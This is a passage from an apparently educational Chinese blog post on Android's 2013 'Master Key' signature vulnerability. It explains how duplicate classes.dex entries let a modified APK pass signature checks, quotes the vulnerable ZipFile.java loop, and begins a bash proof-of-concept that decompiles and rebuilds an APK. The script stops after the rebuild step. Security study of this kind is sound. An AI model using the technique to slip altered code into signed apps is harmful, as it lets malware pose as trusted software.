学习Android三个签名漏洞

主要是想整理下自己大半年来学习的有关Android安全的一些东西，第一篇先从比较简单的Android签名漏洞开始。

 

Android签名漏洞，也叫Master Key漏洞，是指攻击者可以在不改变原APK的签名情况下修改APK的代码，从而绕过Android的签名认证安全机制。

 

一.第一个签名漏洞

1.1 原理

第一个签名漏洞是由国外的一家安全公司Bluebox Security在2013年7月初揭露的，这个漏洞自Android1.6版本就一直存在，漏洞的覆盖范围达到99%。

该漏洞位于luni/src/main/java/java/util/zip/ZipFile.java目录下，具体的漏洞点如下：

    for (int i = 0 ; i < numEntries; ++i) {

        ZipEntry newEntry = new ZipEntry (hdrBrf , bin) ;

        m.entries.put (newEntry.getname() , newEntry )}

我们知道在同一个文件夹内是不允许存在两个同名文件的，然而在APK这样一个ZIP格式的文件中却没有这样的限制，同时Android并未对APK中的重名文件进行检测，即一个APK压缩文件中可能存在两个相同的classes.dex文件。

此时可以假设一种情况，一个APK压缩包中存在两个classes.dex文件，第一个是恶意的执行文件，第二个是原来的执行文件，Android系统实际上验证的是第二个执行文件，因此可以顺利绕过APK的签名验证。Java层对APK验证完后，会请求installed进程完成代码的优化，而提取的classes.dex文件却是第一个执行文件。

1.2 POC

漏洞的POC思路是将原apk反编译并修改再重打包，将原APK解压至重打包的APK的目录下，再将解压出的所有资源压入重打包的APK中，代码如下：

 
 
 

  
  
  #!/bin/bash
 
 
 
 
 
 

  
  
  # PoC for Android bug 8219321 by @pof
 
 
 
 
 
 

  
  
  # +info: https://jira.cyanogenmod.org/browse/CYAN-1602
 
 
 
 
 
 

  
  
  if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
 
 
 
 
 
 

  
  
  APK=$1
 
 
 
 
 
 

  
  
  rm -r out out.apk tmp 2>/dev/null
 
 
 
 
 
 

  
  
  java -jar apktool.jar d $APK out
 
 
 
 
 
 

  
  
  #apktool d $APK out
 
 
 
 
 
 

  
  
  echo "Modify files, when done type 'exit'"
 
 
 
 
 
 

  
  
  cd out
 
 
 
 
 
 

  
  
  bash
 
 
 
 
 
 

  
  
  cd ..
 
 
 
 
 
 

  
  
  java -jar apktool.jar b out out.apk